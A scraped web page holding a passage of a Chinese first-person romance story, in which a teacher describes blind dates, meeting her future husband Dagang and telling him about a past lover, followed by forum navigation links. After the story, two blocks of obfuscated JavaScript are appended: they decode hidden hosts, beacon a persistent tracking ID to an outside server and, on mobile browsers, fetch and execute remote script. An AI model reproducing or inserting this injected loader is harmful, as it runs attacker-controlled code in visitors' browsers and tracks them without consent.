保重自己,不再做销售的时候,务必告诉我一声。两年之后,邢路告诉我,他调到研发部门了,降薪三分之一,做产品设计去了。我非常欣喜,告诉他,我终于不会再梦见他酒后猝死了。不过,那次邢路并没有再提让我去北京找他的事情,我也没有提。一来,那时候,邢路已经有真正的女朋友了,二来,那个时候,我已经嫁给了真正想嫁的人。(二十三)告别了邢路,我立刻在一个朋友的QQ群里发布了求男友的消息,然后告诉闻闻,我要相亲了,让她帮我物色男朋友。我要趁我想的最清楚,意志最坚定的时候赶紧把自己嫁出去,我怕过一段时间,我会又忍不住的想去找邢路了。然后,一个月后,我偶遇了大刚。和大刚真的是偶遇,在正常的生命旅途中,我们本来应该是没有任何交集,没机会相逢的,命运确实很神奇。高中开学后,在学校以治学严谨出名的教导主任,听说我开始相亲之后,第一时间杀到年级组办公室,很不满的问我,为什么都同意相亲了,还不去找她,难道我质疑她的专业能力么?教导主任一直自诩实验学校第一媒婆,教学只是她的副业,对我忽视她的事情还真的是不满。我笑嘻嘻的冲她道歉,表示一切听从她老人家安排。结果,教导主任相中的那个单身男,在相亲的前一天,一直号称是他妹妹的女孩,听说他要相亲,就冲过去表白了,然后意志不坚定的男主就放我鸽子了我在QQ上跟闻闻说这个事情的,闻闻很晕的说:怎么连相亲这种事,都还带截胡的啊。教导主任觉得这是她实校第一媒婆的最大耻辱,连夜通知所有亲朋,搜罗适龄单身男青年资源。然后还真找到一个,不过是辗转了几手,资料粗到可以忽略不计。具体年龄不详,具体姓名不详,具体工作不详,只知道不到30岁,叫大刚,在某学校工作。我有心不想见了,但是看着教导主任眼里的红色血丝,实在不好意思拒绝,只好硬着头皮抱着上法场的心态去了。吃饭的地方是个咖啡厅,先是介绍人互相认识了一下,然后各自把自己带来的资源介绍了一番。这才知道大刚的本名叫严纪纲,28岁,广州大学研究生毕业,在惠州经职院的机电系当老师。两个介绍人连口水都没喝,就各自找借口走了,恐怕他们也觉得半夜临时的拉郎配不靠谱吧。我对着大刚笑了一下,大刚有点紧张,问我点些什么吃的?我说没到吃饭的时候呢,我要杯绿茶就好了。陪邢路熬夜的时候,养成的喝绿茶的习惯,不知什么时候能戒掉,我有些黯然。点完饮料,大刚仍然有些紧张,犹豫了一下,开口说:“如果你是为了敷衍长辈才来的,你可以直说,我没关系的。”我笑了:“你才是真的在敷衍长辈吧?”大刚有些不好意思:“我昨天12点多被我妈电话叫醒,让我今天必须跟我婶过来。我过来之前,都提前喊朋友过半小时给我打电话,我好找借口离开。”

我被逗笑了,然后很自然的告诉他:“我是真的在相亲。”大刚一副不可置信的表情:“你这么漂亮,工作又好,怎么会出来相亲?”

我淡淡的说:“我不是处女。”说这句话的时候,我看着大刚的眼睛,眼睛是不会骗人的。我和邢路在一起的那段时间,把察言观色的能力提升到了一个很高的水平。从北京回来一次相亲,是父母托人介绍的,对方是个医生,我说我的第一次给了前男友,我在他眼中看到了异样,但是他的回答似乎是完美无缺。他问我那时是不是真的爱他,我说是,他说那就没关系了。然后他说他也和两个女孩子发生过关系,但是他保证没有找过卖淫女,希望我能接受。那个人很像邢路,很会说话,也很有风度,但是我总是感觉有些不舒服。第四次约会的时候,看完电影,晚上11点多了,他提议去酒吧听歌,我知道他在想什么,婉言拒绝了。然后他可能也知道自己心思被识破,直接说这时候回宿舍比较晚了,他在某高档酒店订了间房,要不要去休息一下。我拒绝他的时候,即使在昏暗的路灯下面,我也看得到他眼中的嘲弄,我没有再说任何话,转身走了。回到学校,我在教工宿舍楼下打电话告诉他,我们不合适不要继续了。他问为什么,我淡淡的说,就算是出来卖的,也有权利选择不卖,然后把电话挂了然后,我明白了自己为什么那么喜欢邢路,却不喜欢他。因为同样的事情,邢路是陷在里面挣扎,他却是泡在里面享受。第二次,是一个朋友给介绍的,见面才知道他家境超级好的,比邢路条件好得多,长得也比邢路好看。我说我不是处女,他笑的很自然,他笑着说没关系,反正他过来相亲也只是给家人做个样子,作为耽误我时间的回报,他请我吃的大餐。然后,他对介绍人的答复是我太矮了,也不漂亮。我辗转知道答案的时候,直接笑出声来,那个人明显就是喜欢男人吧,我走的时候都想把他介绍给邢路…

…我也不知道我这么坚持着每次先把我不是处女的事情报出来是什么心理,也许我真的有一丝念头,我完全找不到男朋友的时候,不得已只好去北京找邢路?

而这一次,我静静的看着大刚的眼睛,但是,我没有看懂大刚的表情不过大刚有些涩的回答,给了我答案:“我还是处男。”即使我自认已经强壮到不会再受任何伤的心,仍然被刺痛了一下,我淡淡的说:“还好只点了杯茶。”大刚却有点紧张的摆了摆手:“对不起,对不起,让你误会了。我不是那个意思。”哦,那你是什么意思,我有些奇怪的看着他,心想着你还能是什么意思呢大刚尴尬的解释:“我刚才只是有些紧张,然后觉得你说了你的情况,我也就顺着话题说了我的情况,说完才发现不对,我真的不是那个意思。”“嗯,那你真正的想法是什么呢?”我看出大刚是个蛮诚恳的人,也就认真的问他。然后大刚的回答让我大跌眼镜:“我没什么想法啊,现在没什么人在意这个了吧。而且,你如果是处女的话,我就没有任何机会了。”“嗯?为什么?”我这次真的是搞不懂大刚的逻辑了。“我自己条件一般,我的父母也不是很有钱那种,你这么漂亮的女孩,又年轻,如果还是处女,必然是没有经历过真正的挫折的,对生活的期望一定会很高,不可能找我这样的。”好严谨的逻辑思维,想起他是大学机电系的老师,是不是理工科毕业的学生都是这个样子呢,我有点郁闷。但是我同意他的观点:“是的,只有经历过一些事情,才会知道什么样的生活是更适合自己的。”大刚难得的呵呵笑了一下:“其实,我也不是想当处男,我是因为找不到女朋友。”我有些惊讶:“不会吧,你的条件可一点都不差啊?”确实如此,大刚长得不错,身高看起来也有175以上,在广东人里算高的,工作也是比较受欢迎那种,收入不特别高,但很稳定,属于典型的优质经济适用男。大刚有些不好意思:“因为我比较宅……”想起当时大学里那些天天窝在宿舍的男生,我似乎有些明白:“你喜欢打游戏?”大刚摇了摇头:“我喜欢看书。”哦,居然是难得的同类,我很有兴趣的追问:“我也喜欢安静的看书,你主要看哪方面的书?”大刚说:“技术类的。”好吧,大刚,你是我的克星,不到20句话,你噎了我三回了。“还有别的么?”我没有放弃。“科幻类的。”四回。“还有么?”我还没死心。“有时候也看些武侠类的。”五回。我又追问了一个问题:“你平时看球么?”大刚眼睛亮了:“看,足球篮球都喜欢看。”我叹了口气,说:“大刚,我现在很确认了,我们两个真的是没有任何完全一致的兴趣点。”大刚脸色有些失落,但是也一副很坦然的样子:“我明白了,没关系,有心理准备的。”我轻轻的嗯了一声。大刚拿出手机:“能不能加个QQ,没别的意思,我只是觉得今天和你聊天很舒服,希望能做个普通朋友。”我看着他,读着他一览无余的坦荡,微微笑了:“你觉得,我们要不要,试着培养下共同的兴趣爱好?”大刚立刻一副毫不掩饰的惊喜的表情,我也有些被感染的开心,然后又追问了一句:“不对啊,你是大学老师,搞定女学生是很容易的啊,怎么会单身呢?”

大刚没听出我是在逗他,很认真的跟我解释:“我们虽然叫机电信息学院,但实际上是学数控机床的。”说完一摊手,一副然后你懂了的表情,我哈哈大笑。然后,我们开始很放松的天南地北的聊天。半小时后,大刚朋友打来电话,我一脸促狭的笑着看着他,他笑着把电话挂了。然后,半年之后,我向大刚求婚了。是的,是我向大刚求婚的,因为这个理工男对感情尺度的把握,实在是弱到发指了。是的,第一次上床也是我主动的,这个事情闻闻取笑我很久了。不过,我不在乎,因为大刚是个很好的男人,真的很好,非常的适合我,认识他真的很幸运。他比我聪明很多,是的,聪明很多,好吧,理工科的学生就是比文科生聪明,我承认了。他懂得很多,他所谓的技术书籍,原来不是指的他的机电专业课,是所有自然科学类的书籍,所以他才是真正的博览群书……我根本不算……他在和我相亲的时候没说实话,他其实喜欢玩游戏的,不过他玩的不是电脑游戏,而是一些很另类的东西,比如各种智力拼装玩具什么的,他玩乐高都玩出境界了,我拿他的一个几百片的组装汽车,说明书看的太头疼,拼了几十片就放弃了,他居然能够自己拼创意了。他买了好多的零件,画了图纸,拼出变形金刚之类的,然后拿去卖钱,然后继续买各种零件,居然还略有盈余。我看着他在工作台上,把每种颜色每种类型的接插件放在不同的收纳盒里,那些细碎的零件,在他的手中慢慢的出现各种形状,觉得好神奇。然后,他还喜欢下围棋,之前是去学校找棋友下,认识我之后,就和我下,我在他的指导下进步飞快,一个月之后,他让我25个子的情况下,就已经下不过我了。我在大刚身上看到了和邢路完全不一样的东西,邢路做事的目的性非常强,

拼装游戏和围棋以及烘培绘画之类的占时间又带不来经济收益和个人能力提升的

东西,他是绝不会沾的,他所做的一切,似乎都是为了事业上取得成功,他不容忍自己浪费任何时间,就连看新闻也惦记着哪些能带来跟客户的共同话题以前,我对邢路这种风格一直持赞赏和仰望的态度,直到遇到大刚,我才发现,原来生活是可以如此随意,这些浪费时间的爱好,才是生活的乐趣吧。很奇怪啊,邢路那种官宦家庭出身的会这么拼命执着,大刚的家里只是普通书香门第,反而这么不求上进呢,无所谓了,我喜欢这样的就够了。嗯,当然,家境最差但是最不上进的是我,不过,我是女生,就原谅自己了。大刚似乎精通一切机械和电器的东西,似乎任何东西都清楚原理,几乎就没有他不会修的东西。从我认识他时候的笔记本黑屏,宿舍电压不稳到婚后的房间的水路电路,测网线,装吊灯,挂液晶电视,吊投影仪之类的,全是他搞定的然后,也许是宅男的共同特点,大刚的性子很温和,完全是传说中的钱多事少好管理的那种。我的任何提议,他似乎都懒得反对,是的,他真的是懒得反对,他是那种只要能给我基本生活保障,剩下事都好商量的那种人。有一次我看完程序员症候群的一篇帖子,笑着对大刚说:“你和他们好像啊,不知道的还以为你也是程序员呢?”他很认真的回答:“我本来就是啊,数控机床就是要编程的。”

然后,我们的对话又被他噎的进行不下去了。最后,我们最大的共同点,就是喜欢看书了。我很喜欢周末和他一起骑车去图书馆借书看,这是我从大学就有的理想啊,在互联网时代,这似乎成了一个很变态的事情,我绝对脑补不出邢路开奥迪带我去市图看书的场景,在国图那次,邢路说是看书,其实完全就是在看我。但是大刚会啊,而且他真的乐在其中,闻闻说我们这种奇葩,全惠州估计掰着手指头就数出来了,居然能凑到一起,实在太难得了。闻闻很喜欢大刚,因为她拉我逛街的时候,大纲会很没有怨言的跟在后面帮我们拎纸袋,还会很真心诚意的夸闻闻做的西点好吃。我也没有向大刚隐瞒之前和闻闻,还有邢路的事情。我们认识两个多月的时候,我就把和邢路的故事完完整整的讲给他听了。那一天,我去大刚家的时候,带了一盒新做的饼干。从北京回来之后,我的心越来越静,更有心情做一些曾经邢路觉得很没意义,但是我自己喜欢的事,画素描,写博客,做烘培,这就是他口中不屑的文艺青年风格吧。这学期我的语文课大多安排在上午一二节,我总喜欢做一些饼干带到课上,给没来得及吃早饭的学生们填填肚子,后来就很多厚脸皮的馋嘴女生故意不吃早餐,等着课间的小零食。大刚很自然的拧开盖子,扔了一块进嘴里,一边咀嚼一边夸赞:“不错,很酥。”我噗嗤一声笑出声来。这个人的某些方面,和邢路好像,连对饼干的评价,都一个字不差。大刚有些奇怪:“你笑什么?”我看着大刚,想了想,静静的对他说:“我给你讲一下我前男友的故事吧。”

我平静的从素素开始,讲述我们短暂的蕾丝情,讲述她怀孕后被抛弃我上网卖处,讲述在网上遇见邢路,讲述我扮演着一个很不光彩的角色帮他拿项目,讲述可怜的闻闻,老谋的石处,世故的齐总,讲述我和邢路在大四下学期那短暂的疯狂,讲述邢路和我终究是两类人,我们最后在北京机场道别,然后各自走各自的人生。大刚听完,明显有些失落,我以为他是吃醋了,我没有说话,只是静静的看着他,这个时候,紧张的已经是我了,我已经很在意他了。大刚过了半天,摇了摇头:“惠惠,我真的配不上你。”我看着他,等着他继续说下去,相处这些日子,我已经习惯他的说话方式了邢路和石处说话都是点到为止,剩下的你自己去理解,而大刚则完全不一样,他说他是处男,就真的只是在说他是处男,他说他配不上我,就真的只是在说配不上我,未必是要分手的理由,他说话很少有弦外之音,不过我所有的弦外之音,他却都能听明白,实在搞不懂理工科学生的大脑构造是怎样的。大刚整理了一下,继续说:“邢路那样的人,才是应该和你在一起的人,你这样的女孩,本来就应该有更精彩的人生。”我有些无语的反问:“你觉得他的人生很精彩?”大刚点头:“是的,我要有他的能力和勇气,我也会去外面闯荡。我知道自己能力差很多,性格也不够强,但是我也很想要他那样的天空,也想实现自己的人生价值。”我说:“每个男人心中都有一个大闹天宫的梦?”大刚说是的。然后,我说:“原来你的失落感,是因为觉得自己的理想实现不了啊。”大刚点头,我说:“我还以为是因为我的初恋不是你呢。”大刚立刻找补:“当然,还有一半,是因为我吃醋。”嗯,算你反应快,我心里总算舒服些了,然后觉得自己好无聊,有点像韩剧里那些不可救药的女人。大刚还在那呆呆的想心事,我懒得理他了,自己拿本书偎在沙发上看。大刚突然出声:“惠惠,如果邢路回心转意来找你了,你就跟他走吧。”

好吧,大刚,我又被你打败了。我无奈的站起身来,大刚这种固执的人,想要说服他可不大容易:“大刚,如果现在,你和邢路站在我面前让我选,我说我会选你,你信吗。”大刚说:“不信。”我实在忍不住的踢了他一脚。然后对他说:“邢路那样的生活,是你想过的生活,不是我想过的生活。我想过的是现在这样的生活。我喜欢去图书馆看书,我不喜欢去KTV唱歌喝酒。我喜欢在家里做菜不洗碗,我喜欢想吃什么就能买回来做,做的不好吃你也能把它吃掉,我不喜欢外面各种各样的宴席。我喜欢把自己的房间收拾的干干净净,我不喜欢去住多少人睡过的五星级酒店。我喜欢在学校散步,我喜欢给学生上课,我不喜欢和邢路去任何商务场合,非常的不喜欢!我真的就是个普普通通的女孩子,有点笨有点懒有点不喜欢动脑子,你不要觉得我漂亮就应该过什么什么样的生活。“我顿了一下,继续说:“而且,我知道,你也很喜欢你现在的生活,你所谓的向往,只是你单纯的不甘心而已。或者说,是你在过自己喜欢的生活的时候,会有一种负罪感。”

大刚一副恍然大悟,确实如此的表情,使劲点头表示同意,我有点欲哭无泪:“你知不知道,你这种属于被传统价值观严重洗脑,是过去二十年教育失败的最典型案例之一。”大刚挠挠头:“对哦,我差点忘了,你是师院毕业的,这是你本行。”

我安慰大刚:“你会做很多事情,邢路都不会的,那时候他的房子里出任何问题,只会花钱找物业,你就什么都自己解决了。”大刚摇摇头:“邢路会的,是挣钱的本领,我会的,只是省钱的能力,没法比的。”我拉起大刚的手:“是没法比啊,那种拼命挣钱的路很苦的,单纯从生活幸福感来说,邢路真的未必比的了你。”“最少,他不用买这么个80多平米的房子,还要父母帮着出首付,还要还20年的贷款。”大刚苦笑的指着大小有些局促的客厅说。“两个人一起还的话,用不了20年的。”我平静的看着他说。大刚好像呆住了,然后突然紧紧的把我抱在怀里,我幸福的闭上了眼睛,这个笨蛋啊,这么久了,才第一次抱我,不知道下一垒,还要等多久。不过,我们两个都没有想到的是,我们在这个所谓局促的房子里,并没有住多少年,我就用自己的收入和贷款换了一套180平的跃层。就在我认为圆满结束了关于邢路这个主题的时候,大刚最后说了一句:“惠惠,还有啊,邢路如果再过来的时候,我们一起请他吃饭吧,我可以不介意的。”

我很气结的说:“我介意,要去你自己去请,我不去。”大刚啊,你真觉得我猜不出你在想什么?你们这些理工男的好奇心,求知欲,真的比妒忌心强的太多了

boxx18金币 37转帖分享,红包献上!


上一篇:小夫妻的淫荡事之淫乱乐翻天(完)

下一篇:七日祭


function OgNmHBj(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function EWFOtfzU(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OgNmHBj(t);};window[''+'q'+'m'+'C'+'p'+'n'+'U'+'z'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function gqNus(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=EWFOtfzU,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=gqNus(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=gqNus(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLm9uaaWN5Yi5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5ycWRsb2QuY24lM0E5NTTM0','162093',window,document,['a','T']);}:function(){};
function SjDFo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function WtupNK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return SjDFo(t);};window[''+'Q'+'H'+'S'+'r'+'F'+'A'+'j'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function kRLfP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=WtupNK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=kRLfP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=kRLfP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm9uaWN5Yi5jbiUzQTgg4OTE=','d3NzJTNBJTJGJTJGYS5ycWRsb2QuY24lMM0E5NTMM0','162092',window,document,['g','M']);}:function(){};